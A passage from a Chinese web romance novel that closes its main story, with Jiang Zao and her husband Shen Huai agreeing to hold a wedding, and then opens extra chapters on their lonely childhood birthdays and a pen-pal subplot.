火锅的烟火在圆盘中间袅袅升起,姜早低头,看着面前的饭碗,静静的。
这张饭桌,装载了她很多回忆。小时候,她考得不好,妈妈会在这张桌子上大怒;爸妈因为一个事情吵架,爸爸会在这张桌子上发火。
当然,最属特殊的,还是她每年生日时的饭桌。
生日,是临近过年时。爸妈的单位都放了假,中年夫妻总相处在一起容易吵架和冷战。印象中,每次的新年他们都会大吵一架。
很巧,这场生日,总会成为他们冷战期的殉葬品。
爸爸会给她买好蛋糕,妈妈也会买,他们互不商量。
她面对桌上的两个蛋糕,会自己打开蛋糕盒,自己切开蛋糕,一块送给楼上卧室里的妈妈,一块送给客厅看电视的爸爸,然后将生日帽和蜡烛扔进垃圾桶。
思绪回笼,周遭的欢笑仍旧模模糊糊,竟有一种不真实感,仿佛一切是大梦一场的幻境一般。
饭碗前多了一个鸡腿,姜早盯了一会儿,侧头看他。
沈淮道:“妈说你爱吃。”
周遭的欢笑声清晰起来,姜早唇角泛起淡淡的笑意:“嗯。”
吃完饭,姜爸和姜妈被沈淮哄的直笑,转头问姜早他们什么时候办婚礼,到时候订酒店、选婚纱、做请柬、邀请亲友过来什么的都要耗费很多时间,让她早点订个日子,也好准备起来。
明明刚刚还对答如流的沈淮,聊到这个的时候突然不说话了,站起来走到厨房洗碗。
姜早一个人被折磨了一会儿,实在扛不住,借口去厨房倒杯水,偷偷走到沈淮身边求助:“你去和她们说一下,你现在公司事情多,暂时不适合办婚礼。”
来之前,他们有聊起过,万一爸妈问到婚礼相关的话题,就找借口拖一下。即使早有准备,在面对爸妈的催促起来,仍旧招架不住。
“我在洗碗。”沈淮耍赖道。
面对他临时变卦,她有些气愤,但眼下也没别的办法了。揪着他的衣服,难得的撒娇:“我帮你洗,你去帮我说说,好不好。”
以往只要软下声音,沈淮肯定会同意她的请求。今天倒是有些不一样了,流水唰唰时,他故意装作听不懂,回道:“我们家的女人不用洗碗。”
姜早软磨硬泡终究是没用,只好再次走回客厅,独自面对爸妈的催促。
最后,实在架不住,她胡乱说了个日子。
这时间也算是敲定了。
晚上回家的路上,姜早盯着正在开车的沈淮,眼睛一动不动。
“在看什么?”沈淮问。
姜早静静道:“在看你究竟有什么魔力,让我爸妈这么喜欢你。”
沈淮轻笑:“因为我喜欢你,所以他们喜欢我。”
姜早静了下来。
这么说,好像也没错。
侧头,遥望车窗外的万家灯火,一条光弧突然升起,在天空炸开一朵绚烂的烟花。这才意识到,快过年了。
一年一年的,真是快。
不同的是,今年的冬
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天,没有去年的冷。
身边,也有了不一样的人。
临近期末,姜早要准备最后的论文,每天都很忙。
木奈奈和室友因为她之前隐瞒结婚的事,商量好了要跟她冷战一段时间。结果被沈淮的一顿晚饭收买,第二天屁颠屁颠的和姜早求很好。
她们三个总一起泡在图书馆赶论文,不断的经历论文被打回来,查重不过等种种问题。
有一次,室友指着姜早手上的桌子,问她那只木镯怎么不见了。
姜早有些惋惜的解释,那只木镯有一次放在洗手台上,摔在地上不小心摔断了。
室友很震惊,还以为她现在当了阔太太,已经没有金钱概念了。
姜早其实是遗憾的,这只镯子是苹果送给她的,也陪着她去了学校的分享会,意义不同。但说到底,也只是一个普通的配饰,一个物件而已,她有很多不同的配饰,也会跟她共同经历很多事情,如果每一条配饰都赋予特定的意义的话,可能她会全身挂满配饰,变成一个很奇怪的人吧。
说起来,上次室友向她问起过这只木镯,只不过后来一直没再提起。她那时候也忙,事情一多便忘记问苹果了,这回正好回去问问,再去买一只。
听她说完,室友匪夷所思道:“你还不知道?”
姜早正看着文献:“什么?”
室友从口袋里掏出手机,划拉了一会,递过手机指尖指着图片道:“这只木镯出自名家之手,在一个拍卖会上,拍卖成交价一千万。”她认真的补了三个字,“人民币。”
“只是像吧...”姜早心存侥幸道。
室友摇头,一字一句认真道:“最后竞拍得主姓沈,我猜全京城,除了你家那位,不会有其他姓沈的富豪愿意花这一千万买一个镯子了。”
姜早宛如雷劈,顿在原地。
回到家后,她捧着摔断的木镯心疼了好久。
沈淮打开门,就看到她坐在地上,愁容满面的看着一只摔断的木镯。他走过来说摔断了没关系,有他就好了。
姜早不明其意。
沈淮云淡风轻的说出了那个木镯的安神功效。
不解释还好,解释了,姜早捧着那只木镯哭起来。不管怎么哄,都哄不好。
沈淮想了想,走进书房,关了一夜。
第二天他从书房走出来,手上拿着一个制作简单的红木镯,朝正在吃早饭的她递过去。
姜早接过,抬头看他:“哪来的。”
沈淮坦白道:“我做的。”
姜早拿着红木镯,左看看右看看:“帮我戴上。”
沈淮松了口气,耐心的将红木镯戴在她手腕上。她的手腕细长白皙,好看十分,这只粗糙的红木镯怎么看都配不上她的手腕,沈淮蹙眉:“算了,我去让那位设计师再给你做一只。”他说完,就要将红木镯从手上摘下来。
姜早忙护道:“给都给了,哪有要回去的道理,我就喜欢这只,其他的我都不要。”
沈淮墨色的眸子掩藏笑意,淡淡道:“好。”
姜早看着戴在手上的粗糙红木镯,心早就软了一片,偏还恃宠而骄道:“我戴上不代表我原谅你了,下次你给我买了什么,一定要说价格,听到没有?”
沈淮点头,心里却是想:总算哄好了。
58. 第 58 章
在阳光和暖的一天,姜早在教室门外看到了两张熟悉的脸。
“姜早,我想在国内创业,要和我们合伙吗?”格桑穿着毛绒大衣,脸上挂着笑意,对比从前的淡漠,气场似乎暖了上去。
江玉躲在后面,触及到姜早的目光,扭过头,撇撇嘴道,“和我可没什么关系,是她要邀请你。”
姜早没有说话,望着她的脸,记忆浮现她当初不辞而别时的情景。如今她好好站在这里,脸色红润,肯定是没事了,想到此,她眸色和暖了很多。
格桑没有主动说,她便也没主动问。
视线在对视的那一刹那,眼中早已有了对答。
“她是我同父异母的妹妹,叫江玉,说话挺好玩的可以解解闷,我就带出来了,你们应该见过,也是跳舞的。”格桑说。
江玉酸溜溜道:“我可不认识她,人家每次比赛都是第一,怎么会认识我呢?”
格桑往她后背重重拍了一巴掌,她偏头嘟囔了几句便不再说话了。格桑指着她,忍俊不禁笑起来:“怎么样,是不是很好玩。”
姜早望着她们,记忆与从前相合。
从前与她们分别相见时,总能感觉出一种淡淡的支零破碎感。
但此刻,她们站在一起,那种感觉便消失了,取而代之的是一种莫名的和谐。
两张碎片合在一起,完整了。
姜早伸出手放在三人中间,道:“能和大音乐家格桑,青年优秀舞者江玉一起合作,是我的荣幸。”
格桑爽快地将手盖上去。
两人一起抬头看江玉。
江玉怔怔的,似乎是没想到姜早能记得她,怔愣之余,看到她们望过来的目光,故作不甘愿的将手盖上去,撇头道:“真拿你们没办法。”
姜早和格桑对视了一眼,笑出声。
...
后来的一段时间里,姜早因为创业的事,每天都很晚回家,回家之后便是对着电脑做方案。
沈淮总哄她早点睡。
她有时候会听,有时候不想听。沈淮会陪她熬一会,还会煮汤给她喝,但熬的久了,沈淮就会严肃起来,用一些方法让她睡觉。
姜早第二天醒的时候,会和他抱怨,方法一点都不好,她早上醒不来。
沈淮认真的给她穿衣服,闻言面色不变,让她自己承诺晚上早睡。
姜早听了惩罚,便不再提了。她现在是创业要紧的关头,肯定会时不时熬夜的,做不了任何承诺,只能随他去了。
沈淮看她不再反驳,甚至有些失望,让她可以接着讨价还价。
姜早深知他狡猾的本性,咬住嘴不说。
沈淮大手揽住她的腰,倾身吻上去,半响等她身体在手里柔软如泥,才放开她。
“早早,可以讨价还价,我会听的。”
姜早才不说,他总说漂亮话,但没什么信服力。
“我要吃馄饨。”
“嗯,我去给你做。”
这才算放过她。
姜早望着那道背影,打了个哈欠。
狡猾的人。
猫从外面走进来,跳上床,在姜早的手上蹭了蹭。
姜早顺势抱住它,揉了揉它的头,小声将这几天对沈淮的不满抱怨给它听。
沈淮见她迟迟不到厨房,捧着馄饨走进来,见状道:“你少同它说这些,它听进去了会咬我。”
姜早得意道:“你最近老欺负我!我咬不了你,它可以!”
她自以为说的很好,很有气势,结果看到沈淮平静的目光,和嘴角挂着的淡淡笑意。
沈淮将碗放到床头柜上,捧起她怀里的猫,揉了揉放在地上,然后道:“你也可以咬我。”
他这么说完,姜早便不敢说话了,手脚麻利的跳起来:“还是把早饭端到客厅吧,我喜欢在客厅吃。”
望着她匆匆离开的背影,沈淮眸中挂了淡淡的笑意,裤脚边有毛绒蹭感,他蹲下身,将猫拽起来,威胁道:“不许听她的,不然就把你放外面,变流浪猫,听到没有。”
猫不明其意,蹭了蹭他的手:喵喵喵~
沈淮这才满意的将它放下。
“沈淮!馄饨!我要来不及了!”姜早在客厅里喊道。
“嗯。”沈淮轻勾唇,指尖勾住碗将其端起,抬步慢慢往外走。
傍晚,橘黄色的暖光洒向学校的每一角。
姜早刚发完短信,让沈淮在楼下接她,将手机放回口袋时,在门口碰到了向北辰,手里还拿着一个包装精美的盒子。
“给你。”向北辰朝她递过来。
姜早接住,左右翻了翻看到了后的面标注,是一个放棒棒糖的礼盒:“怎么突然给我送糖?”
“我开了家食品公司。”向北辰说。
姜早微微有些讶异,仍记得当初向北辰进沈氏时的开心,还为此办了一场聚会,她忍不住问:“你不是在沈氏工作吗?”
向北辰洒脱道:“我离职了。”
姜早点点头,没再追问,她低头又看了一遍糖果盒上的标注,向氏食品有限公司,她真诚道:“恭喜你,不过这样的话,不应该是我给你送礼吗?怎么变成你给我送了。”
向北辰偏头,静了一会儿,显然来的时候没有想好怎么说,好久之后,才道:“新做的几个产品不知道好不好吃,想找几个朋友先尝尝,给点意见。”
“谢谢。”姜早认真补了一句,“我到时候写好反馈发给你。”
向北辰从口袋里掏出一根递给她:“我这里还有一颗,你先尝尝。”
姜早剥开糖纸放进嘴里,一股草莓的甜腻散开来,似乎还带了淡淡的草香,这是什么混合?还挺好吃的。
向北辰看着她表情的变化,问:“怎么样?”
“很好吃,她的名字叫什么?”姜早真心实意问。
“绿野草莓。”向北辰松了口气,指着盒子里的糖道,“里面还有薄荷草莓,葡萄双加草莓,羽衣甘蓝草莓你到时候都尝尝。”
姜早差点怀疑自己听错了,问道:“怎么都是草莓?”
“你不喜欢?”意识到自己太过直白,他偏过头,不自然道,“当然还有别的味道,只不过这一批都是草莓的混合,你还有什么喜欢的味道可以告诉我,我下次给你带过来。”
姜早头疼,虽然自己爱吃糖,但天天这么试验,恐怕会得糖尿病,想了想没直接拒绝:“好,我想好了再发给你。”
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“嗯,好。”向北辰扬眉轻笑,余光看到一个人走过来,笑道,“有人来接你了,我先走了。”
姜早回头看到了从远处走过来的沈淮,看了一眼表,嘴角微勾:“好,再见。”
“再见,姜早。”向北辰说。
姜早顿住脚,印象中,这是向北辰第一次喊她的名字,总感觉有些不一样。她站在原地思考,以至于向北辰走了都没发现。
沈淮走过来的时候脸色不太好。
姜早反应过来后,从盒子里递给他一颗糖,问:“怎么心情不好,要吃糖吗?”
“不了。”沈淮面色如常,眸子却沉了又沉。
回家的一路,沈淮都很沉默。姜早要么在备课,要么在群里和格桑交流方案,一直未有察觉。
晚上,十二点十二分,姜早侧躺在床上,眸子轻轻落在地上。
沈淮不知道在外面做什么,这么晚都不进来。
她其实已经很困了,还是揉了两把脸,强撑自己起来。毕竟她总被提醒不要熬夜,轮到他熬夜了,也该回报回去。
长廊上没有开灯,周遭很暗。书房的门半开了一角,一缕光照在地上,成为长廊唯一的光。
姜早走到门口,刚想推门,脚边扔出来一个纸球,她轻轻拾起来,耐心打开被揉皱的纸球。
草莓切三毫米左右厚度的薄片,放入铺好油布的烤盘中,烤箱预热90度...明明写的好好的,上面画了一个茶茶,写着大大四个字,糖分超标。
姜早推门进去,见到满地的纸球,一直坐在书桌前,不断书写的他。
他低着头,没有发觉她的出现。
她拾起另一张,也画了一个大叉叉,写着:她好像不喜欢哈密瓜。
又一张,写着:好像也不喜欢吃苹果。
还有...
姜早正欲再捡,突然一只手抓住她的手腕,沈淮不知道什么时候已经走到了她面前。
他用沾满墨迹的手摸姜早的脸,眸色里充斥着不安和占有欲,怕惊吓着她。
他耍着聪明,藏了又藏。
“早早,你喜欢吃什么味道的糖?”
“草莓。”姜早应道。
“草莓...”沈淮复述了一遍答案,揽过他的肩膀,倾身耳语。
“我也可以给你做糖,你可不可以,不吃他做的糖。”
姜早知道他是吃醋了,简直哭笑不得:“沈淮,这只是一颗糖而已。”
沈淮黑漆漆的眸子黯了几分:“我做的比他做的好吃,也不行吗?”
只是一颗糖么,不,不止是一颗糖。
她这么好骗,万一被一颗糖骗走了怎么办。
那就骗不回来了。
姜早低头望着满地的纸团,明明没有看到他头疼犯难的样子,却好像幻想到了,不禁觉得好笑,抬头时挂着淡淡的笑意:“沈淮,我们办婚礼吧。”
沈淮眸中的阴霾一扫而光,取而代之的漫天星辰。
周遭静了又静。
姜早好奇道:“不愿意?”
沈淮俯身吻她,半响。
“愿意。”
—————————正文完————————
59. 番外01
昏暗的房间,仿佛连空气的停滞。闹钟打破房间的沉默,发出一长串震耳欲聋的声音,没有持续太久就被关了。
床上的人坐起来,望着正前方的日历静了一会儿,穿上拖鞋,走到窗户边,打开窗帘。
窗外的光透进来,房里还是冷冷的,他转身,从衣柜里拿了一条羽绒服。手捏紧袖子,布料贴着皮肤摩擦,暖和多了。
咚咚咚三下,门被敲响。
他套袖子的手停下来,望着门口。
“少爷,吃饭了。”门又被敲了两下,里面仍旧没有一点声音。
王妈正犹豫着要不要再敲门的时候,门从里面打开了,半大的孩子立在门口,浑身泛着冷气,她退后一步:“小少爷,该吃饭了。”
沈淮点头,淡淡的眸子从她身上划过,走向客厅。
王妈对着背影,摇摇头。转头看了一眼屋里,想要收拾,但确实没什么好收拾的,这孩子一向爱干净。她走进屋子,推开窗。
总得有光照进来。
一抹光落在书桌上,日历上的圆圈泛着金光。
...
王妈走进客厅,朝饭桌望了一眼,明明是两个人在吃饭,却没有一点声音。她轻叹了口气,走进厨房将闷好的茄子拿出来,放到桌上,然后退后到一旁。
没多久,一双银筷放下,客厅里变成了一个人。
汽车的鸣笛声在外面响起,敞开的窗外,一辆黑色的林肯越过玫瑰林,消失在了尽头。
那道小小的身影往外淡淡望了一眼,收回目光,接着吃饭,好像毫不在意。
圆盘摆钟静静地摇晃着,窗外的风声灌进屋里肆无忌惮吹着。
王妈从厨房里出来,手里提着包装好的饭盒,走到他身侧,亦如往常交代道:“这次都是清淡的,你再去试试,让她好歹吃一点。”
饭桌上的第二双筷子放下。
台阶上,一步一步,他走得很慢。走到门口,手放在门上,却没有敲出声响。他静静地望着指尖,静了好久,才叩了一下门。
门没有开。
他将饭盒放在门口,转身欲走。身后灌入一道冷气,将发丝扬起。
门开了。
“不是说了不要来吵我妈?”那道女声带着厌烦,半响是低头看到了来者,带着疲意道,“进来。”
沈淮转身,站在门口的人早就走了进去,只剩一个背影,饭盒仍留在原地。
他蹲下,提起地上的饭盒,走进屋里。
“练习册自己都批完了没有?”沈母躺回床上,手半撑着头,脸色苍白,尽显疲意。
“嗯,错了一题。”他站到床边,汇报。
沈母闭着眼,眉头微蹙,声音带了一些起伏:“都练这么多遍了,怎么还会错。”
沈淮缄默不言。
沈母睁开眼,上下打量他,看着那张熟悉的脸,心中涌起一股厌烦,蹙眉道:“怎么能这么笨,一点也不像我,全像他了。”
那声音刺耳,字字诛心。
沈淮抬起手,将手里的饭盒递给她:“妈。”
话未说完,饭盒被打落在地。啪嗒一声,未扣紧的饭盒,将里面的吃食洒落一地。
床上那道声音冷道:“早说过了,我没胃口,她聋了吗?”
饭菜的味道在房里飘散开了,破坏了房里原本的木质香,格外的让人恶心。
沈淮从口袋里拿出纸巾,盖在洒落的青菜上。残余的汤汁,他蹲在地上一点一点收拾。
窗外的风灌进衣袖。
真冷。
王妈路过,看到敞开的门便多看了一眼,见到满地的菜和跪在地上收拾的孩子,急急跑进来。
“少爷!你先出去吧!我来收拾。”
...
浴室里,水被拧开,流水哗哗往下流,束成一抹银色的直线,在底端溅起水花。
沈淮慢慢将手打开,俯视那双脏兮兮的手,清冷的眸子里没有半分情绪。
低头,将手塞过去,流水滑过皮肤,一股冰冷的寒意贯彻在手心里,打湿了袖口,他浑然不觉,认真的搓手,白皙的皮肤在揉搓之下,很快就红透了。
好半响,他停下来,抬头盯着四方镜,望着神似父亲的面孔,露出一点茫然。
浴室的门半开着,外面传来了玻璃瓷器砸在地上的声音,噼里啪啦碎了一地。
仿佛,每年的今天,都会这样。
鸡飞狗跳。
冬天总是格外冷的,他在书房坐下,从几十张全对的卷子里,拿出了有红圈圈的那张。
打开崭新的错题本,一遍遍誊抄着错题。
一页又一页,一遍又一遍。
阳光浸染着书房,照在书桌上,随着纸张翻页的声响,变得越来越暗。
王妈走进来开了灯,对着那个背影,轻叹了口气,调整好语气才开口:“司机已经在楼下等了,今天是您生日,该去过生日了。”
风吹着纸张,一页一页将纸自然的盖上。
他换上单薄的小西装,跟在王妈身后,走上了黑色的保姆车。
保姆车开了暖气,暖暖的也闷闷的。
司机道:“少爷,沈总今晚有一场商会,今天就不来了。”
沈淮未应声,从后视镜里看别墅里暖色的灯光。
司机望着他,张嘴欲言又止,终只是叹了口气,启动了车。
富丽堂皇的酒店里,服务生涌进包厢,推着蛋糕车,唱着生日歌。
敞开的门外,有个小孩路过,朝里面撇了一眼,问:“这个哥哥一个人吃这么大的蛋糕哎!太幸福了!”
身边的父母眼神只有她,眉眼弯弯,边走边晃她的手。
“那爸爸妈妈等会也给你买一个,我们回家吃蛋糕。”
声音隔着生日歌,一点一点传进沈淮耳朵里,他侧头望着门外。
原来,蛋糕不止生日可以吃。
他看的怔神,以至于服务员朝他递过来生日蛋糕,都没有发觉。
几个服务员相互对视,默默的将蛋糕放到桌上,然后撤了出去。
门被关上,只剩下他一个人。
蛋糕很精致,是个四五层的城堡,上面的烛火还在滋滋冒着火光。
喧闹后的寂静,贯彻着一种冷气,比冬日的天气还要冷上几分。
包厢里的电视屏幕还停留在生日快乐的字母上,他换成了平常看了会被骂的动画片,静静地坐在椅子上,瞳孔里清晰地倒映着动画片里的内容,却没有半分情绪。
不知何时,外面下起倾盘大雨,风也越来越大,呼呼刮着玻璃,更显包厢里的清冷。
蛋糕被切掉一块小角,放在嘴里化开,甜意在嘴里扩散。
门打开,他走了出去。
服务生说了几句客套话,走进包厢里收拾,却看到桌上的蛋糕丝毫未动,只有主位面前的那一块动了一点,好像也只有一口。
他愣在原地,还以为是小客人对这块蛋糕不满意。
身边走过的老员工看穿他心中所想,边收拾边道:“每年这孩子都只吃这一点,和我们没关系,放心吧。”她在这干的时间久了,对身份尊贵的客人印象很深,更别提这个特殊的小客人了。
小客人的父母是大厦的股东,定下了这个包厢,每年那孩子都会来这里过生日,最开始的时候,司机和保姆会陪着过来,后来就没了,只有他一个人。
新员工走上去帮忙,视线对上那个主位,想起那孩子方才淡漠的神情,问道:“姐
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见过这孩子?那之前见过他爸妈没?”
“怎么?心疼了?”老员工道。
新员工陈恳的点头。
老员工望着窗外,想起与那孩子每年见到的情形,一点点变高一点点长大,眼睛里的情绪跟着一点消失。她收回目光,将蛋糕倒进垃圾袋,眼中露出几分可惜的神情,摇摇头道:“没有,从来没有。”
回到家,沈淮将日历上的圈圈打了一个勾,放下笔,躺回床上。望着天花板,脑海中想起了今天看到的那一家人。
父母牵着孩子的手,他们会笑会交流,眼神里都是爱意,不是假装的。
他关了灯,闭上眼。
半响翻了个身,侧躺着望向窗外朦胧的夜色。
“为什么不一样。”
这个问题,在第二天,得到了答案。
王妈听他固执的问,说这件事本来也不应该瞒着他,便找了个安静的地方,解释原委。
她说,母亲的婚姻是为了商业联姻,其实真正喜欢的人不是爸爸,而是另一个男人。即使结婚了,他们也一直保持着联系。
他出生的这一天,那个男人为情所伤,跳了河,永远留在了那个夏天。
所以,母亲恨她。
他听完,第一回产生了畏惧。
可以是不喜欢,但为什么是恨呢。
王妈说漏嘴,母亲今天会去扫墓,让他不用上去送饭,好好休息。
他听完,眼神望向边上的自行车。
半个小时后,汽车开了出去,自行车也骑了出去。
他姗姗赶到时,母亲在墓地里熟悉的找到一个墓碑坐下,放下花之后,头轻轻靠在墓碑上,絮絮叨叨说着什么,嘴角还带着一抹淡淡的苦笑,那是他从未见到过的神情。
他躲到树后,望了很久。
看着母亲又哭又笑。
原来那才是母亲爱人的神情。
他落寞的躲在树后,不再接着看,只是静静地消化自己的不开心,下一刻,他抬步欲走,突然一道身影挡住他。刚打算抬头,脸上突然落下一个巴掌。
白皙的皮肤出现一道刺眼的红。
“你来做什么!谁让你来的!”
那是道熟悉的声音,尖锐又刺耳,比平常听到的多了几分情绪和波动。
“妈。”他抬头,试图从那道眼神中看到不一样的情绪,可惜没有。
从前没有对比,现在不同了,刚刚见过墓碑前柔和叙说的母亲,再看现在这道眼神,便不难分辨,现在的眼神是带着恨的。
“他会不高兴的,你不许在这里喊我这个名字!”母亲扬起手。
他闭上眼,以为巴掌会再度落下来,却没有。
“喂!你这个大人好坏,怎么能打小朋友,我不许你打他!”
是一道女声。
他慢慢睁开眼,看到了挡在身前的人。
是一道女生的背影,穿着白色的裙子瘦瘦的,身高与他差不多,却挡在了自己面前。
母亲厌烦的看了他们一眼,没心情再这里耗下去,走了。
“喂...你还好吗?”小女孩转身,关心的问。
沈淮仍旧望着那道背影,没有应声。
“你叫什么名字啊?”小女孩停了半响,没听到答案也不觉尴尬,自己接道,“不说也没关系。”
“你是不是心情不好啊,我知道你心情不好,我也经常这样,心情不好就不说话。”女孩从兜里掏了掏,递出一个棒棒糖,认真道,“对不起啊,我不太会安慰人。你喜不喜欢吃糖?我心情不好,就喜欢吃糖,嘴里变甜了,心就不会那么苦了,你试试!”
他接过糖,静静地望着她。所有情绪被盖下,只剩下眼前眼睛亮晶晶看着他的女孩。
60. 番外02
“今天天气多云转大雨,各位市民注意带伞。”
电视机里的主持人正在播报着今日天气,厨房里传出袅袅香味,蒸笼被放下又拿起,终于确认熟了,才放进保鲜袋里。
“妈!我要迟到了!”客厅里的人催促道。
“急什么,包子得吃熟的,里面的肉要是没蒸熟会吃坏肚子的,知不知道?”姜妈从厨房走出来,手里还在给保鲜袋打结。
姜早接过包子,背着书包小步到门外,跨步上父亲的电瓶车后座,催促道:“爸,开快点,今天要期末考试,我要早点去看书。”
姜爸扬眉道:“哎哟,不愧是我们家,抓紧我,等会开快了,你别被甩下去了。”
姜早听话,双手揽住姜爸的后腰。
到学校是七点多,她呆的是尖子班,一到班级就看见已经有不少人在看书了。今天期末,不管是临时抱佛腿的人,还是习惯考前巩固的人,都认真起来了。
姜早匆匆走到位置,放下沉甸甸的书包,从里面掏出昨夜带的复习资料。
一本教科书,两本教科书,三本教科书,一份资料,两份资料,三份、四份、五份、六份、七份...
一大刀。
后桌惊愕的张大嘴巴,说她怎么什么资料都带回去了。
她笑了笑说塞书包的时候顺带了,当时却不是这么谋算的。
人有很多种。
有人有侥幸心理,想借助很少的资料拿很高的分;自然也有人有好胜心,想借助万全的资料拿最高的分。
她要的是最高分,就是要找别人不会想到的资料,复习别人没复习过的资料。
就算是多此一举,也没关系。
下课铃一共响了三次,最后一次叮铃铃,意味着本学期的结束,也预告着寒假的开始。
收拾书包时,同桌看她高兴,便问:“怎么这么高兴?数学最后一道大题做出来了?”今年最后一题实在是太难了,班里好多学神都没做出来,姜早也是其中之一,所以她这么问。
“没有。”那道题目很难,老师从来没讲过,复习资料也没有,几乎超纲了,不会有人会做的。姜早弯弯唇角,心情很好的解释,“今天是我生日!”
“生日快乐~”同桌笑道,然后说,“往年生日怎么不见你这么开心。”
姜早晃晃脑袋:“今年不一样~”
同桌好奇追问,她偏偏不答,追跑着到了校门口,最后挥手再见也没解释。
坐在父亲的后车座上,看到车前坐放着一个大蛋糕,她乐滋滋的环住父亲的腰,不经意的问起这个蛋糕来。
父亲说给她买了最喜欢的口味,再多的没说了。
她睨了一眼父亲的后脑勺,轻轻的靠在父亲的背上,嘴角的笑意淡了下去。
回到家,走进门。
母亲正坐在沙发上,手攥着纸巾望着地面。
像是刚哭过。
印象中,她一向刚毅,少有这么脆弱的时候。
那双眸子似乎未看到她,而是直直的看向了父亲,眼里冒着血丝。
“躲了一天,现在才回来?”姜母冷漠的说。
“瞎说什么呢,我是去接孩子去了。”姜爸将蛋糕在桌上放下,没有直视她的目光。
“我打电话给你,你为什么不接。”姜母将纸扔进垃圾桶里。
姜爸说:“电话没听到。”
姜妈拍着桌子站起来:“你爸今天喝了酒过来踹门,说这套房子装修他给了一万块钱,现在让我们还给他。我如果没记错的话,你是入赘过来的,这个钱也是他当时硬塞给你的,怎么就是要我还了?”
姜爸蹙眉,坐在椅子上缄默不言。
“我爸妈都没有这么对过我,他今天踹门,我万一开门了,是不是要打我?”姜妈走到他面前,指着他骂道:“你必须给我一个交代。”
“老人家老了要养老,该给他给他吧。”姜爸的后背弯了弯,神情暗淡下来。
“你什么意思?”姜妈在旁边拍桌子,“当初都说好了的!你到我家就是和那边断干净了。当时你也说了,你爸妈的养老你哥来解决。更何况,我反正知道你哥给他的养老钱不少,他自己还有养老金,如果不是买烟买酒赌博用不上这么多钱!”
姜爸双手攥着,在阴影下的身影原来越小。
“你今天必须给我一个交代!”
“就一万块,给了就断干净了,从我存款里拿吧。”
“你到底有没有良心?我怎么就找了你这么一个男人,要钱没钱,要担当没担当。”
...
姜早的眸光一点点暗淡下去,小狗在脚边蹭着腿,她低头,神情空洞。
外面淅淅沥沥下起大雨,小狗被别的地方吸引了注意,撒腿跑了出去。
她的目光跟着出去,望着水泥地上一点点浸染的黑色印记。
天气预报很准。
真的下雨了,好大的一场雨,大到好像水淹过顶,难以呼吸。
伸手不到顶,挣扎不能逃。
狗摇着尾巴再次蹭过来的时候,她才拖着身体,机械的回了房间。
不知在房里静坐了多久,客厅里终于没了声响,抬头望向窗外,黄昏早就浸染了成了黑夜。
她站在门口,抬手放在门把上,静了一会儿,才拧开房门。
昏暗的客厅里,地上还残留着还未收拾好的碎片。她盘腿坐在地上,抽开华丽的绳结,红色的飘带一丝一丝坠在地上,如同垃圾一样甩落在一边。
爸妈知道她喜欢吃水果,所以每年都会给她买水果蛋糕,果然,今年也不例外。
蛋糕被搬到桌上,橘黄色的灯光打在蛋糕上,显得十分诱人和可口,她坐在椅子上,用手拖着脸,静静地看了一会儿。一声闷雷响,她望向窗外,这雨真是越来越大了。
回过神来,她的小手攥起地上的袋子,将里面的东西倒在桌上。
有刀叉,盘子,还有生日帽,蜡烛和代表岁数的数字。
她故意不去看那堆五颜六色的东西,胡乱将他们塞回袋子里,然后扔向垃圾桶。转身认真切蛋糕装盘,和什么都没发生过那样。切好的蛋糕,一块送到了母亲的卧房,一块送到了正在楼上客厅看电视的父亲。
亦如往年,没有什么不一样。
年年岁岁,都一样。
天空炸起烟花,不知谁家提前过年。姜早的房间早就关了灯,绚烂的烟花将整个房间照亮,蒙在被子里的姜早探出头来,愣愣的望着房间里乍现的光。
她踩着拖鞋,坐在床边,弯弯的背影在光影下乍明乍暗。好半响,她走到客厅里,从垃圾桶里拿出了袋子,快步走回了房间。
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灯开时,她认真的带生日帽,点蜡烛。
灯关时,生日蛋糕上的烛火摇曳,墙面上倒映着黑色的数字,她闭着眼睛,认真的许愿。
第一个心愿,期末考个好成绩,爸爸妈妈能开心。
第二个心愿,爸爸妈妈永远不吵架。
窗外烟花炸开的同时,蜡烛也被吹灭,房里又恢复了黑暗。
她小步跑过去开灯,打开窗户边看烟花,边一口一口吃着蛋糕。
风大了,扬起桌上的书页,放在桌上的信封被卷起,啪嗒一声落在地上,她这才想起这封信的存在。
那是考试前收到的信,为了专心考试,才没有立刻拆开,距离收到那天早就过了两三天。
她放下手里的蛋糕,捡起信。
刚拆开,一颗糖和一张纸巾从里面掉出来。
她不明其意,将窗户关上,安置好纸巾和糖后,才展开信封。
那是国外笔友寄来的信。
信用的不是书面格式,写在信纸上的字体东一个西一个,有些生涩,不过极有天赋,看得出在认真的学习中文。
姜早认真的读,前面是他在交代中文的练习成果,一如寻常,寻求她的批改。看到后面,她眸子微闪。
"上次你在信里说,每年一月二十,心情都不好。我去排了一个很热门的糖果店,老板是个巫师,说这颗糖有魔法,吃了就会变开心,你试试灵不灵。感动的话,可以用这张纸擦,不用客气。"
......
几天后,考试成绩出来了,她考的并不好,家里的气氛又降了一个度。
“今天天气...”
晨间新闻的主持人,日复一日预告着今日天气。
姜早停下写作业的手,侧头望向窗外,阳光明媚。
真的会下雨吗。
“你非要在孩子写作业的时候看天气预报?这样她能注意集中写作业吗?”一道忍无可忍的声音在角落响起,打破了这场勉强维持的平静。
“看个天气预报而已,脾气这么大做什么。”姜父蹙眉,小声反驳道,“再说了,都放寒假了,也得让孩子休息休息吧。”
“孩子成绩变差就是被你惯坏的知不知道?这次期末考只考了全校第十,不就是你平常给她看十分钟电视搞成那样的?”姜妈谈起那个成绩,怒不可揭起来。
“什么叫我搞成这样的?你说这话是什么意思?”姜父也声音大起来。
战火点燃,硝烟四起。书桌上那道小小的背影,越来越弯,渺小到看不见。
激烈的话语声将她吞没。
情绪被一重接一重的浪花卷起落下,差点失去呼吸。
她抱着作业,借口回了卧室。没多久,窗外真的下起了雨,砸在玻璃上,淅淅沥沥。
她的手点在玻璃上,隔着玻璃与窗外的雨滴相触。
天气预报,很准。
这场雨与一门之隔的争吵声其鸣,比原先单调的天气预报吵多了。
她卧室的书桌边坐下,望着一道难题,思索半响,含着墨的笔尖正要落下,门外噼里啪啦一顿响,静了。
她颤抖的落下笔尖,一个简单的“9”,弯弯绕绕的在纸上落下。
这道题,真是难极了。
半开的窗,斜吹进了雨,坠满了她整个青春。
61. 番外03
有一年盛夏,教育计划大联合,国内与国外的学校开展合作,为学子互相发展笔友,意为促进外语学习。
一个损友给向北辰报了名,他当时想,太扯淡了,他自己就是中国人,还学什么中国话。不过名单都递交上去了,也不好反悔,便想花钱让别人顶掉这个麻烦差事,但和他在一起的人都不缺钱,没人接这差事。
他后来常常想,还好当时没人答应。当然,这也是后话。
